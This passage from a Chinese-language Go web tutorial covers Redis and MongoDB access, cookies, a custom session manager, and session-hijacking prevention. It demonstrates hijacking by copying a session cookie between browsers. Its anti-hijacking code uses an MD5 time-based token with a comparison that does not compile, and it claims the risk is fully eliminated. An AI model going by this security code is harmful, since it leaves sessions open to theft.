    dbvals, _ := client.Lrange("l", 0, 4)
    for i, v := range dbvals {
        println(i, ":", string(v))
    }
    client.Del("l")
}
```

我們可以看到操作 redis 非常的方便，而且我實際專案中應用下來效能也很高。client 的命令和 redis 的命令基本保持一致。所以和原生態操作 redis 非常類似。

## mongoDB



MongoDB 是一個高效能，開源，無模式的文件型資料庫，是一個介於關係資料庫和非關係資料庫之間的產品，是非關係資料庫當中功能最豐富，最像關係資料庫的。他支援的資料結構非常鬆散，採用的是類似 json 的 bson 格式來儲存資料，因此可以儲存比較複雜的資料型別。Mongo 最大的特點是他支援的查詢語言非常強大，其語法有點類似於物件導向的查詢語言，幾乎可以實現類似關係資料庫單表查詢的絕大部分功能，而且還支援對資料建立索引。

下圖展示了 mysql 和 mongoDB 之間的對應關係，我們可以看出來非常的方便，但是 mongoDB 的效能非常好。



圖 5.1 MongoDB 和 Mysql 的操作對比圖

目前 Go 支援 mongoDB 最好的驅動就是 [mgo](#)，這個驅動目前最有可能成為官方的 pkg。

安裝 mgo:

```
go get gopkg.in/mgo.v2
```

下面我將示範如何透過 Go 來操作 mongoDB：

```
package main

import (
    "fmt"
    "log"

    "gopkg.in/mgo.v2"
    "gopkg.in/mgo.v2/bson"
)

type Person struct {
    Name  string
    Phone string
}

func main() {
```

```
    session, err := mgo.Dial("server1.example.com,server2.example.com")
    if err != nil {
        panic(err)
    }
    defer session.Close()

    // Optional. Switch the session to a monotonic behavior.
    session.SetMode(mgo.Monotonic, true)

    c := session.DB("test").C("people")
    err = c.Insert(&Person{"Ale", "+55 53 8116 9639"},
        &Person{"Cla", "+55 53 8402 8510"})
    if err != nil {
        log.Fatal(err)
    }

    result := Person{}
    err = c.Find(bson.M{"name": "Ale"}).One(&result)
    if err != nil {
        log.Fatal(err)
    }

    fmt.Println("Phone:", result.Phone)
}
```

我們可以看出來 mgo 的操作方式和 beedb 的操作方式幾乎類似，都是基於 struct 的操作方式，這個就是 Go Style。

## links

- [目錄](#)
- [上一節: 使用 Beego orm 函式庫進行 ORM 開發](#)
- [下一節: 小結](#)

## 5.7 小結

這一章我們講解了 Go 如何設計 database/sql 介面，然後介紹了各種第三方關係型資料庫驅動的使用。接著介紹了 beedb，一種基於關係型資料庫的 ORM 函式庫，如何對資料庫進行簡單的操作。最後介紹了 NOSQL 的一些知識，目前 Go 對於 NOSQL 支援還是不錯，因為 Go 作為 21 世紀的 C 語言，那麼對於 21 世紀的資料庫也是支援的相當好。

透過這一章的學習，我們學會了如何操作各種資料庫，那麼就解決了我們資料儲存的問題，這是 Web 裡面最重要的一部分，所以希望大家能夠深入的去了解 database/sql 的設計思想。

[Go database/sql tutorial](#) 裡提供了慣用的範例及詳細的說明。

## links

- [目錄](#)
- 上一節: [NOSQL 資料庫操作](#)
- 下一章: [session 和 資料儲存](#)

## 6 session 和資料儲存

Web 開發中一個很重要的議題就是如何做好使用者的整個瀏覽過程的控制，因為 HTTP 協議是無狀態的，所以使用者的每一次請求都是無狀態的，我們不知道在整個 Web 操作過程中哪些連線與該使用者有關，我們應該如何來解決這個問題呢？Web 裡面經典的解決方案是 cookie 和 session，cookie 機制是一種客戶端機制，把使用者資料儲存在客戶端，而 session 機制是一種伺服器端的機制，伺服器使用一種類似於散列表的結構來儲存資訊，每一個網站訪客都會被分配給一個唯一的標誌符，即 sessionID，它的存放形式無非兩種：要麼經過 url 傳遞，要麼儲存在客戶端的 cookies 裡。當然，你也可以將 Session 儲存到資料庫裡，這樣會更安全，但效率方面會有所下降。

6.1 小節裡面講介紹 session 機制和 cookie 機制的關係和區別，6.2 講解 Go 語言如何來實現 session，裡面講實現一個簡易的 session 管理器，6.3 小節講解如何防止 session 被劫持的情況，如何有效的保護 session。我們知道 session 其實可以儲存在任何地方，6.4 小節裡面實現的 session 是儲存在記憶體中的，但是如果我們的應用進一步擴充套件了，要實現應用的 session 共享，那麼我們可以把 session 儲存在資料庫中(memcache 或者 redis)，6.5 小節將詳細的講解如何實現這些功能。

### 目錄



### links

- [目錄](#)
- [上一章: 第五章總結](#)
- [下一節: session 和 cookie](#)

## 6.1 session 和 cookie

session 和 cookie 是網站瀏覽中較為常見的兩個概念，也是比較難以辨析的兩個概念，但它們在瀏覽需要認證的服務頁面以及頁面統計中卻相當關鍵。我們先來了解一下 session 和 cookie 怎麼來的？考慮這樣一個問題：

如何抓取一個訪問受限的網頁？如新浪微博好友的主頁，個人微博頁面等。

顯然，透過瀏覽器，我們可以手動輸入使用者名稱和密碼來訪問頁面，而所謂的“抓取”，其實就是使用程式來模擬完成同樣的工作，因此我們需要了解“登入”過程中到底發生了什麼。

當用戶來到微博登入頁面，輸入使用者名稱和密碼之後點選“登入”後瀏覽器將認證資訊 POST 給遠端的伺服器，伺服器執行驗證邏輯，如果驗證透過，則瀏覽器會跳轉到登入使用者的微博首頁，在登入成功後，伺服器如何驗證我們對其他受限制頁面的訪問呢？因為 HTTP 協議是無狀態的，所以很顯然伺服器不可能知道我們已經在上一次的 HTTP 請求中通過了驗證。當然，最簡單的解決方案就是所有的請求裡面都帶上使用者名稱和密碼，這樣雖然可行，但大大加重了伺服器的負擔（對於每個 request 都需要到資料庫驗證），也大大降低了使用者體驗（每個頁面都需要重新輸入使用者名稱密碼，每個頁面都帶有登入表單）。既然直接在請求中帶上使用者名稱與密碼不可行，那麼就只有在伺服器或客戶端儲存一些類似的可以代表身份的資訊了，所以就有了 cookie 與 session。

cookie，簡而言之就是在本地計算機儲存一些使用者操作的歷史資訊（當然包括登入資訊），並在使用者再次訪問該站點時瀏覽器透過 HTTP 協議將本地 cookie 內容傳送給伺服器，從而完成驗證，或繼續上一步操作。



圖 6.1 cookie 的原理圖

session，簡而言之就是在伺服器上儲存使用者操作的歷史資訊。伺服器使用 session id 來標識 session，session id 由伺服器負責產生，保證隨機性與唯一性，相當於一個隨機金鑰，避免在握手或傳輸中暴露使用者真實密碼。但該方式下，仍然需要將傳送請求的客戶端與 session 進行對應，所以可以藉助 cookie 機制來取得客戶端的標識（即 session id），也可以透過 GET 方式將 id 提交給伺服器。



圖 6.2 session 的原理圖

## cookie

Cookie 是由瀏覽器維持的，儲存在客戶端的一小段文字資訊，伴隨著使用者請求和頁面在 Web 伺服器 and 瀏覽器之間傳遞。使用者每次訪問站點時，Web 應用程式都可以讀取 cookie 包含的資訊。瀏覽器設定裡面有 cookie 隱私資料選項，開啓它，可以看到很多已訪問網站的 cookies，如下圖所示：



圖 6.3 瀏覽器端儲存的 cookie 資訊

cookie 是有時間限制的，根據生命期不同分成兩種：會話 cookie 和持久 cookie；

如果不設定過期時間，則表示這個 cookie 的生命週期為從建立到瀏覽器關閉為止，只要關閉瀏覽器視窗，cookie 就消失了。這種生命期為瀏覽會話期的 cookie 被稱為會話 cookie。會話 cookie 一般不儲存在硬碟上而是儲存在記憶體裡。

如果設定了過期時間(`setMaxAge(606024)`)，瀏覽器就會把 cookie 儲存到硬碟上，關閉後再次開啓瀏覽器，這些 cookie 依然有效直到超過設定的過期時間。儲存在硬碟上的 cookie 可以在不同的瀏覽器程序間共享，比如兩個 IE 視窗。而對於儲存在記憶體的 cookie，不同的瀏覽器有不同的處理方式。

## Go 設定 cookie

Go 語言中透過 net/http 套件中的 `SetCookie` 來設定：

```
http.SetCookie(w ResponseWriter, cookie *Cookie)
```

w 表示需要寫入的 response，cookie 是一個 struct，讓我們來看一下 cookie 物件是怎麼樣的

```
type Cookie struct {
    Name      string
    Value      string
    Path       string
    Domain     string
    Expires    time.Time
    RawExpires string

    // MaxAge=0 means no 'Max-Age' attribute specified.
    // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
    // MaxAge>0 means Max-Age attribute present and given in seconds
    MaxAge    int
    Secure     bool
    HttpOnly  bool
    Raw       string
    Unparsed []string // Raw text of unparsed attribute-value pairs
}
```

我們來看一個例子，如何設定 cookie

```
expiration := time.Now()
expiration = expiration.AddDate(1, 0, 0)
cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration}
http.SetCookie(w, &cookie)
```

## Go 讀取 cookie

上面的例子示範瞭如何設定 cookie 資料，我們這裡來示範一下如何讀取 cookie

```
cookie, _ := r.Cookie("username")
fmt.Fprint(w, cookie)
```

還有另外一種讀取方式

```
for _, cookie := range r.Cookies() {
    fmt.Fprint(w, cookie.Name)
}
```

可以看到透過 request 取得 cookie 非常方便。

## session

session，中文經常翻譯為會話，其本來的含義是指有始有終的一系列動作/訊息，比如打電話是從拿起電話撥號到結束通話電話這中間的一系列過程可以稱之為一個 session。然而當 session 一詞與網路協議相關聯時，它又往往隱含了“連線導向”和/或“保持狀態”這樣兩個含義。

session 在 Web 開發環境下的語義又有了新的擴充套件，它的含義是指一類別用來在客戶端與伺服器端之間保持狀態的解決方案。有時候 Session 也用來指這種解決方案的儲存結構。

session 機制是一種伺服器端的機制，伺服器使用一種類似於散列表的結構(也可能就是使用散列表)來儲存資訊。

但程式需要為某個客戶端的請求建立一個 session 的時候，伺服器首先檢查這個客戶端的請求裡是否包含了一個 session 標識—稱為 session id，如果已經包含一個 session id 則說明以前已經為此客戶建立過 session，伺服器就按照 session id 把這個 session 檢索出來使用(如果檢索不到，可能會新建一個，這種情況可能出現在伺服器端已經刪除了該使用者對應的 session 物件，但使用者人為地在請求的 URL 後面附加上一個 JSESSION 的引數)。如果客戶請求不包含 session id，則為此客戶建立一個 session 並且同時產生一個與此 session 相關聯的 session id，這個 session id 將在本次響應中返回給客戶端儲存。



session 機制本身並不複雜，然而其實現和配置上的靈活性卻使得具體情況複雜多變。這也要求我們不能把僅僅某一次的經驗或者某一個瀏覽器，伺服器的經驗當作普遍適用的。

## 小結

如上文所述，session 和 cookie 的目的相同，都是爲了克服 http 協議無狀態的缺陷，但完成的方法不同。session 透過 cookie，在客戶端儲存 session id，而將使用者的其他會話訊息儲存在伺服器端的 session 物件中，與此相對的，cookie 需要將所有資訊都儲存在客戶端。因此 cookie 存在著一定的安全隱患，例如本地 cookie 中儲存的使用者名稱密碼被破譯，或 cookie 被其他網站收集（例如：1. appA 主動設定域 B cookie，讓域 B cookie 取得；2. XSS，在 appA 上透過 javascript 取得 document.cookie，並傳遞給自己的 appB）。

透過上面的一些簡單介紹我們瞭解了 cookie 和 session 的一些基礎知識，知道他們之間的聯絡和區別，做 web 開發之前，有必要將一些必要知識瞭解清楚，才不會在用到時捉襟見肘，或是在調 bug 時如無頭蒼蠅亂轉。接下來的幾小節我們將詳細介紹 session 相關的知識。

## links

- [目錄](#)
- 上一節: [session 和資料儲存](#)
- 下一節: [Go 如何使用 session](#)

## 6.2 Go 如何使用 session

透過上一小節的介紹，我們知道 session 是在伺服器端實現的一種使用者和伺服器之間認證的解決方案，目前 Go 標準套件沒有為 session 提供任何支援，這小節我們將自己動手來實現 go 版本的 session 管理和建立。

### session 建立過程

session 的基本原理是由伺服器為每個會話維護一份資訊資料，客戶端和伺服器端依靠一個全域性唯一的標識來訪問這份資料，以達到互動的目的。當用戶訪問 Web 應用時，伺服器端程式會隨需要建立 session，這個過程可以概括為三個步驟：

- 產生全域性唯一識別符號（sessionid）；
- 開闢資料儲存空間。一般會在記憶體中建立相應的資料結構，但這種情況下，系統一旦掉電，所有的會話資料就會丟失，如果是電子商務類別網站，這將造成嚴重的後果。所以為了解決這類別問題，你可以將會話資料寫到檔案裡或儲存在資料庫中，當然這樣會增加 I/O 開銷，但是它可以實現某種程度的 session 持久化，也更有利於 session 的共享；
- 將 session 的全域性唯一標示符傳送給客戶端。

以上三個步驟中，最關鍵的是如何傳送這個 session 的唯一標識這一步上。考慮到 HTTP 協議的定義，資料無非可以放到請求行、頭域或 Body 裡，所以一般來說會有兩種常用的方式：cookie 和 URL 重寫。

1. Cookie 伺服器端透過設定 Set-cookie 頭就可以將 session 的識別符號傳送到客戶端，而客戶端此後的每一次請求都會帶上這個識別符號，另外一般包含 session 資訊的 cookie 會將失效時間設定為 0(會話 cookie)，即瀏覽器程序有效時間。至於瀏覽器怎麼處理這個 0，每個瀏覽器都有自己的方案，但差別都不會太大(一般體現在新建瀏覽器視窗的時候)；
2. URL 重寫 所謂 URL 重寫，就是在返回給使用者的頁面裡的所有的 URL 後面追加 session 識別符號，這樣使用者在收到響應之後，無論點選響應頁面裡的哪個連結或提交表單，都會自動帶上 session 識別符號，從而就實現了會話的保持。雖然這種做法比較麻煩，但是，如果客戶端禁用了 cookie 的話，此種方案將會是首選。

## Go 實現 session 管理

透過上面 session 建立過程的講解，讀者應該對 session 有了一個大體的認識，但是具體到動態頁面技術裡面，又是怎麼實現 session 的呢？下面我們將結合 session 的生命週期（lifecycle），來實現 go 語言版本的 session 管理。

### session 管理設計

我們知道 session 管理涉及到如下幾個因素

- 全域性 session 管理器
- 保證 sessionid 的全域性唯一性
- 為每個客戶關聯一個 session
- session 的儲存(可以儲存到記憶體、檔案、資料庫等)
- session 過期處理

接下來我將講解一下我關於 session 管理的整個設計思路以及相應的 go 程式碼範例：

### Session 管理器

定義一個全域性的 session 管理器

```
type Manager struct {
    cookieName string    // private cookiename
    lock       sync.Mutex // protects session
    provider    Provider
    maxLifeTime int64
}

func NewManager(provideName, cookieName string, maxLifeTime int64) (*Manager, error) {
    provider, ok := provides[provideName]
    if !ok {
        return nil, fmt.Errorf("session: unknown provide %q (for gotten import?)", provideName)
    }
    return &Manager{provider: provider, cookieName: cookieName, maxLifeTime: maxLifeTime}, nil
}
```

Go 實現整個的流程應該也是這樣的，在 main 套件中建立一個全域性的 session 管理器

```
var globalSessions *session.Manager
//然後在 init 函式中初始化
func init() {
    globalSessions, _ = NewManager("memory", "gosessionid", 3600)
}
```

我們知道 session 是儲存在伺服器端的資料，它可以以任何的方式儲存，比如儲存在記憶體、資料庫或者檔案中。因此我們抽象出一個 Provider 介面，用以表徵 session 管理器底層儲存結構。

```

type Provider interface {
    SessionInit(sid string) (Session, error)
    SessionRead(sid string) (Session, error)
    SessionDestroy(sid string) error
    SessionGC(maxLifeTime int64)
}

```

- SessionInit 函式實現 Session 的初始化，操作成功則返回此新的 Session 變數
- SessionRead 函式返回 sid 所代表的 Session 變數，如果不存在，那麼將以 sid 為引數呼叫 SessionInit 函式建立並返回一個新的 Session 變數
- SessionDestroy 函式用來銷燬 sid 對應的 Session 變數
- SessionGC 根據 maxLifeTime 來刪除過期的資料

那麼 Session 介面需要實現什麼樣的功能呢？有過 Web 開發經驗的讀者知道，對 Session 的處理基本就 設定值、讀取值、刪除值以及取得當前 sessionId 這四個操作，所以我們的 Session 介面也就實現這四個操作。

```

type Session interface {
    Set(key, value interface{}) error // set session value
    Get(key interface{}) interface{} // get session value
    Delete(key interface{}) error     // delete session value
    SessionID() string                // back current sessionId
}

```

以上設計思路來源於 database/sql/driver，先定義好介面，然後具體的儲存 session 的結構實現相應的介面並註冊後，相應功能這樣就可以使用了，以下是用來隨需註冊儲存 session 的結構的 Register 函式的實現。

```
var provides = make(map[string]Provider)

// Register makes a session provide available by the provided name.
// If Register is called twice with the same name or if driver is nil,
// it panics.
func Register(name string, provider Provider) {
    if provider == nil {
        panic("session: Register provider is nil")
    }
    if _, dup := provides[name]; dup {
        panic("session: Register called twice for provider " + name)
    }
    provides[name] = provider
}
```

## 全域性唯一的 Session ID

Session ID 是用來識別訪問 Web 應用的每一個使用者，因此必須保證它是全域性唯一的（GUID），下面程式碼展示瞭如何滿足這一需求：

```
func (manager *Manager) sessionId() string {
    b := make([]byte, 32)
    if _, err := rand.Read(b); err != nil {
        return ""
    }
    return base64.URLEncoding.EncodeToString(b)
}
```

## session 建立

我們需要為每個來訪使用者分配或取得與他相關連的 **Session**，以便後面根據 **Session** 資訊來驗證操作。**SessionStart** 這個函式就是用來檢測是否已經有某個 **Session** 與當前來訪使用者發生了關聯，如果沒有則建立之。

```
func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) {
    manager.lock.Lock()
    defer manager.lock.Unlock()
    cookie, err := r.Cookie(manager.cookieName)
    if err != nil || cookie.Value == "" {
        sid := manager.sessionId()
        session, _ = manager.provider.SessionInit(sid)
        cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxLifeTime)}
        http.SetCookie(w, &cookie)
    } else {
        sid, _ := url.QueryUnescape(cookie.Value)
        session, _ = manager.provider.SessionRead(sid)
    }
    return
}
```

我們用前面 **login** 操作來示範 **session** 的運用：

```
func login(w http.ResponseWriter, r *http.Request) {
    sess := globalSessions.SessionStart(w, r)
    r.ParseForm()
    if r.Method == "GET" {
        t, _ := template.ParseFiles("login.gtpl")
        w.Header().Set("Content-Type", "text/html")
        t.Execute(w, sess.Get("username"))
    } else {
        sess.Set("username", r.Form["username"])
        http.Redirect(w, r, "/", 302)
    }
}
```

## 操作值：設定、讀取和刪除

`SessionStart` 函式返回的是一個滿足 `Session` 介面的變數，那麼我們該如何用他來對 `session` 資料進行操作呢？

上面的例子中的程式碼 `session.Get("uid")` 已經展示了基本的讀取資料的操作，現在我們再來看一下詳細的操作：



```
func count(w http.ResponseWriter, r *http.Request) {
    sess := globalSessions.SessionStart(w, r)
    createtime := sess.Get("createtime")
    if createtime == nil {
        sess.Set("createtime", time.Now().Unix())
    } else if (createtime.(int64) + 360) < (time.Now().Unix()) {
        globalSessions.SessionDestroy(w, r)
        sess = globalSessions.SessionStart(w, r)
    }
    ct := sess.Get("countnum")
    if ct == nil {
        sess.Set("countnum", 1)
    } else {
        sess.Set("countnum", (ct.(int) + 1))
    }
    t, _ := template.ParseFiles("count.gtpl")
    w.Header().Set("Content-Type", "text/html")
    t.Execute(w, sess.Get("countnum"))
}
```

透過上面的例子可以看到，Session 的操作和操作 key/value 資料庫類似: Set、Get、Delete 等操作

因為 Session 有過期的概念，所以我們定義了 GC 操作，當訪問過期時間滿足 GC 的觸發條件後將會引起 GC，但是當我們進行了任意一個 session 操作，都會對 Session 實體進行更新，都會觸發對最後訪問時間的修改，這樣當 GC 的時候就不會誤刪除還在使用的 Session 實體。

## session 重置

我們知道，Web 應用中有使用者退出這個操作，那麼當用戶退出應用的時候，我們需要對該使用者的 session 資料進行銷燬操作，上面的程式碼已經示範瞭如何使用 session 重置操作，下面這個函式就是實現了這個功能：

```
//Destroy sessionid
func (manager *Manager) SessionDestroy(w http.ResponseWriter, r
*http.Request){
    cookie, err := r.Cookie(manager.cookieName)
    if err != nil || cookie.Value == "" {
        return
    } else {
        manager.lock.Lock()
        defer manager.lock.Unlock()
        manager.provider.SessionDestroy(cookie.Value)
        expiration := time.Now()
        cookie := http.Cookie{Name: manager.cookieName, Path: "/"
, HttpOnly: true, Expires: expiration, MaxAge: -1}
        http.SetCookie(w, &cookie)
    }
}
```

## session 銷燬

我們來看一下 Session 管理器如何來管理銷燬，只要我們在 Main 啟動的時候啟動：

```
func init() {
    go globalSessions.GC()
}
```

```
func (manager *Manager) GC() {
    manager.lock.Lock()
    defer manager.lock.Unlock()
    manager.provider.SessionGC(manager.maxLifeTime)
    time.AfterFunc(time.Duration(manager.maxLifeTime), func() {
manager.GC() })
}
```

我們可以看到 GC 充分利用了 `time` 套件中的定時器功能，當超時 `maxLifeTime` 之後呼叫 GC 函式，這樣就可以保證 `maxLifeTime` 時間內的 `session` 都是可用的，類似的方案也可以用於統計線上使用者數之類別的。

## 總結

至此 我們實現了一個用來在 Web 應用中全域性管理 Session 的 `SessionManager`，定義了用來提供 Session 儲存實現 `Provider` 的介面，下一小節，我們將會透過介面定義來實現一些 `Provider`，供大家參考學習。

## links

- [目錄](#)
- 上一節: [session 和 cookie](#)
- 下一節: [session 儲存](#)

## 6.3 session 儲存

上一節我們介紹了 Session 管理器的實現原理，定義了儲存 session 的介面，這小節我們將範例一個基於記憶體의 session 儲存介面的實現，其他的儲存方式，讀者可以自行參考範例來實現，記憶體的實現請看下面的例子程式碼

```
package memory

import (
    "container/list"
    "github.com/astaxie/session"
    "sync"
    "time"
)

var pder = &Provider{list: list.New()}

type SessionStore struct {
    sid          string           //session id 唯一標示

    timeAccessed time.Time         //最後訪問時間
    value         map[interface{}]interface{} //session 裡面儲存的值
}

func (st *SessionStore) Set(key, value interface{}) error {
    st.value[key] = value
    pder.SessionUpdate(st.sid)
    return nil
}

func (st *SessionStore) Get(key interface{}) interface{} {
    pder.SessionUpdate(st.sid)
    if v, ok := st.value[key]; ok {
        return v
    } else {
```

```
        return nil
    }
}

func (st *SessionStore) Delete(key interface{}) error {
    delete(st.value, key)
    pder.SessionUpdate(st.sid)
    return nil
}

func (st *SessionStore) SessionID() string {
    return st.sid
}

type Provider struct {
    lock      sync.Mutex           //用來鎖
    sessions map[string]*list.Element //用來儲存在記憶體
    list      *list.List           //用來做 gc
}

func (pder *Provider) SessionInit(sid string) (session.Session,
error) {
    pder.lock.Lock()
    defer pder.lock.Unlock()
    v := make(map[interface{}]interface{}, 0)
    newsess := &SessionStore{sid: sid, timeAccessed: time.Now(),
value: v}
    element := pder.list.PushBack(newsess)
    pder.sessions[sid] = element
    return newsess, nil
}

func (pder *Provider) SessionRead(sid string) (session.Session,
error) {
    if element, ok := pder.sessions[sid]; ok {
        return element.Value.(*SessionStore), nil
    } else {
        sess, err := pder.SessionInit(sid)
        return sess, err
    }
}
```

```
        return nil, nil
    }

    func (pder *Provider) SessionDestroy(sid string) error {
        if element, ok := pder.sessions[sid]; ok {
            delete(pder.sessions, sid)
            pder.list.Remove(element)
            return nil
        }
        return nil
    }

    func (pder *Provider) SessionGC(maxlifetime int64) {
        pder.lock.Lock()
        defer pder.lock.Unlock()

        for {
            element := pder.list.Back()
            if element == nil {
                break
            }
            if (element.Value.(*SessionStore).timeAccessed.Unix() +
maxlifetime) < time.Now().Unix() {
                pder.list.Remove(element)
                delete(pder.sessions, element.Value.(*SessionStore).
sid)
            } else {
                break
            }
        }
    }

    func (pder *Provider) SessionUpdate(sid string) error {
        pder.lock.Lock()
        defer pder.lock.Unlock()
        if element, ok := pder.sessions[sid]; ok {
            element.Value.(*SessionStore).timeAccessed = time.Now()
            pder.list.MoveToFront(element)
            return nil
        }
    }
```

```
    return nil
}

func init() {
    pder.sessions = make(map[string]*list.Element, 0)
    session.Register("memory", pder)
}
```

上面這個程式碼實現了一個記憶體儲存的 **session** 機制。透過 `init` 函式註冊到 **session** 管理器中。這樣就可以方便的呼叫了。我們如何來呼叫該引擎呢？請看下面的程式碼

```
import (
    "github.com/astaxie/session"
    _ "github.com/astaxie/session/providers/memory"
)
```

當 `import` 的時候已經執行了 `memory` 函式裡面的 `init` 函式，這樣就已經註冊到 **session** 管理器中，我們就可以使用了，透過如下方式就可以初始化一個 **session** 管理器：

```
var globalSessions *session.Manager

//然後在 init 函式中初始化
func init() {
    globalSessions, _ = session.NewManager("memory", "gosessionid", 3600)
    go globalSessions.GC()
}
```

## links

- [目錄](#)
- 上一節: [Go 如何使用 session](#)

- 下一節: [預防 session 劫持](#)



## 6.4 預防 session 劫持

session 劫持是一種廣泛存在的比較嚴重的安全威脅，在 session 技術中，客戶端和伺服器端透過 session 的識別符號來維護會話，但這個識別符號很容易就能被嗅探到，從而被其他人利用。它是中間人攻擊的一種型別。

本節將透過一個例項來示範會話劫持，希望透過這個例項，能讓讀者更好地理解 session 的本質。

### session 劫持過程

我們寫了如下的程式碼來展示一個 count 計數器：

```
func count(w http.ResponseWriter, r *http.Request) {
    sess := globalSessions.SessionStart(w, r)
    ct := sess.Get("countnum")
    if ct == nil {
        sess.Set("countnum", 1)
    } else {
        sess.Set("countnum", (ct.(int) + 1))
    }
    t, _ := template.ParseFiles("count.gtpl")
    w.Header().Set("Content-Type", "text/html")
    t.Execute(w, sess.Get("countnum"))
}
```

count.gtpl 的程式碼如下所示：

```
Hi. Now count:{{.}}
```

然後我們在瀏覽器裡面重新整理可以看到如下內容：



圖 6.4 瀏覽器端顯示 count 數

隨著重新整理，數字將不斷增長，當數字顯示為 6 的時候，開啓瀏覽器(以 chrome 為例)的 cookie 管理器，可以看到類似如下的資訊：



圖 6.5 取得瀏覽器端儲存的 cookie

下面這個步驟最為關鍵：開啓另一個瀏覽器(這裡我打開了 firefox 瀏覽器)，複製 chrome 位址列裡的地址到新開啓的瀏覽器的位址列中。然後開啓 firefox 的 cookie 模擬外掛，新建一個 cookie，把按上圖中 cookie 內容原樣在 firefox 中重建一份：



圖 6.6 模擬 cookie

Enter 後，你將看到如下內容：



圖 6.7 劫持 session 成功

可以看到雖然換了瀏覽器，但是我們卻獲得了 sessionID，然後模擬了 cookie 儲存的過程。這個例子是在同一臺計算機上做的，不過即使換用兩臺來做，其結果仍然一樣。此時如果交替點選兩個瀏覽器裡的連結你會發現它們其實操縱的是同一個計數器。不必驚訝，此處 firefox 盜用了 chrome 和 goserver 之間的維持會話的鑰匙，即 gosessionid，這是一種型別的“會話劫持”。在 goserver 看來，它從 http 請求中得到了一個 gosessionid，由於 HTTP 協議的無狀態性，它無法得知這個 gosessionid 是從 chrome 那裡“劫持”來的，它依然會去查詢對應的 session，並執行相關計算。與此同時 chrome 也無法得知自己保持的會話已經被“劫持”。

## session 劫持防範

### cookieonly 和 token

透過上面 session 劫持的簡單示範可以瞭解到 session 一旦被其他人劫持，就非常危險，劫持者可以假裝成被劫持者進行很多非法操作。那麼如何有效的防止 session 劫持呢？

其中一個解決方案就是 sessionID 的值只允許 cookie 設定，而不是透過 URL 重置方式設定，同時設定 cookie 的 httponly 為 true，這個屬性是設定是否可透過客戶端指令碼訪問這個設定的 cookie，第一這個可以防止這個 cookie 被 XSS 讀取從而引起 session 劫持，第二 cookie 設定不會像 URL 重置方式那麼容易取得 sessionID。

第二步就是在每個請求裡面加上 token，實現類似前面章節裡面講的防止 form 重複遞交類似的功能，我們在每個請求裡面加上一個隱藏的 token，然後每次驗證這個 token，從而保證使用者的請求都是唯一性。

```
h := md5.New()
salt:="astaxie%^7&8888"
io.WriteString(h,salt+time.Now().String())
token:=fmt.Sprintf("%x",h.Sum(nil))
if r.Form["token"]!=token{
    //提示登入
}
sess.Set("token",token)
```

## 間隔產生新的 SID

還有一個解決方案就是，我們給 session 額外設定一個建立時間的值，一旦過了一定的時間，我們銷燬這個 sessionID，重新產生新的 session，這樣可以一定程度上防止 session 劫持的問題。

```
createtime := sess.Get("createtime")
if createtime == nil {
    sess.Set("createtime", time.Now().Unix())
} else if (createtime.(int64) + 60) < (time.Now().Unix()) {
    globalSessions.SessionDestroy(w, r)
    sess = globalSessions.SessionStart(w, r)
}
```

session 啟動後，我們設定了一個值，用於記錄產生 sessionID 的時間。透過判斷每次請求是否過期(這裡設定了 60 秒)定期產生新的 ID，這樣使得攻擊者取得有效 sessionID 的機會大大降低。

上面兩個手段的組合可以在實踐中消除 session 劫持的風險，一方面，由於 sessionID 頻繁改變，使攻擊者難有機會取得有效的 sessionID；另一方面，因為 sessionID 只能在 cookie 中傳遞，然後設定了 httponly，所以基於 URL 攻擊的可能性為零，同時被 XSS 取得 sessionID 也不可能。最後，由於我們還設定了 MaxAge=0，這樣就相當於 session cookie 不會留在瀏覽器的歷史記錄裡面。

## links

- [目錄](#)
- 上一節: [session 儲存](#)
- 下一節: [小結](#)

## 6.5 小結

這章我們學習了什麼是 `session`，什麼是 `cookie`，以及他們兩者之間的關係。但是目前 Go 官方標準套件裡面不支援 `session`，所以我們設計了一個 `session` 管理器，實現了 `session` 從建立到銷燬的整個過程。然後定義了 `Provider` 的介面，使得可以支援各種後端的 `session` 儲存，然後我們在第三小節裡面介紹瞭如何使用記憶體儲存來實現 `session` 的管理。第四小節我們講解了 `session` 劫持的過程，以及我們如何有效的來防止 `session` 劫持。透過這一章的講解，希望能夠讓讀者瞭解整個 `session` 的執行原理以及如何實現，而且是如何更加安全的使用 `session`。

## links

- [目錄](#)
- 上一節: [session 儲存](#)
- 下一章: [文字處理](#)

## 7 文字處理

Web 開發中對於文字處理是非常重要的部分，我們往往需要對輸出或者輸入的內容進行處理，這裡的文字包括字串、數字、Json、XML 等等。Go 語言作為一門高效能的語言，對這些文字的處理都有官方的標準函式庫來支援。而且在你使用中你會發現 Go 標準函式庫的一些設計相當的巧妙，而且對於使用者來說也很方便就能處理這些文字。本章我們將透過四個小節的介紹，讓使用者對 Go 語言處理文字有一個很好的認識。

XML 是目前很多標準介面的互動語言，很多時候和一些 Java 編寫的 webserver 進行互動都是基於 XML 標準進行互動，7.1 小節將介紹如何處理 XML 文字，我們使用 XML 之後發現它太複雜了，現在很多網際網路企業對外的 API 大多數採用了 JSON 格式，這種格式描述簡單，但是又能很好的表達意思，7.2 小節我們將講述如何來處理這樣的 JSON 格式資料。正則是一個讓人又愛又恨的工具，它處理文字的能力非常強大，我們在前面表單驗證裡面已經有所領略它的強大，7.3 小節將詳細的更深入的講解如何利用好 Go 的正則。Web 開發中一個很重要的部分就是 MVC 分離，在 Go 語言的 Web 開發中 V 有一個專門的套件來支援 template ,7.4 小節將詳細的講解如何使用模版來進行輸出內容。7.5 小節將詳細介紹如何進行檔案和資料夾的操作。7.6 小結介紹了字串的相關操作。

### 目錄



### links

- [目錄](#)
- [上一章: 第六章總結](#)
- [下一節: XML 處理](#)

## 7.1 XML 處理

XML 作為一種資料交換和資訊傳遞的格式已經十分普及。而隨著 Web 服務日益廣泛的應用，現在 XML 在日常的開發工作中也扮演了愈發重要的角色。這一小節，我們將就 Go 語言標準套件中的 XML 相關處理的套件進行介紹。

這個小節不會涉及 XML 規範相關的內容（如需瞭解相關知識請參考其他文獻），而是介紹如何用 Go 語言來編解碼 XML 檔案相關的知識。

假如你是一名運維人員，你為你所管理的所有伺服器生成了如下內容的 xml 的配置檔案：

```
<?xml version="1.0" encoding="utf-8"?>
<servers version="1">
  <server>
    <serverName>Shanghai_VPN</serverName>
    <serverIP>127.0.0.1</serverIP>
  </server>
  <server>
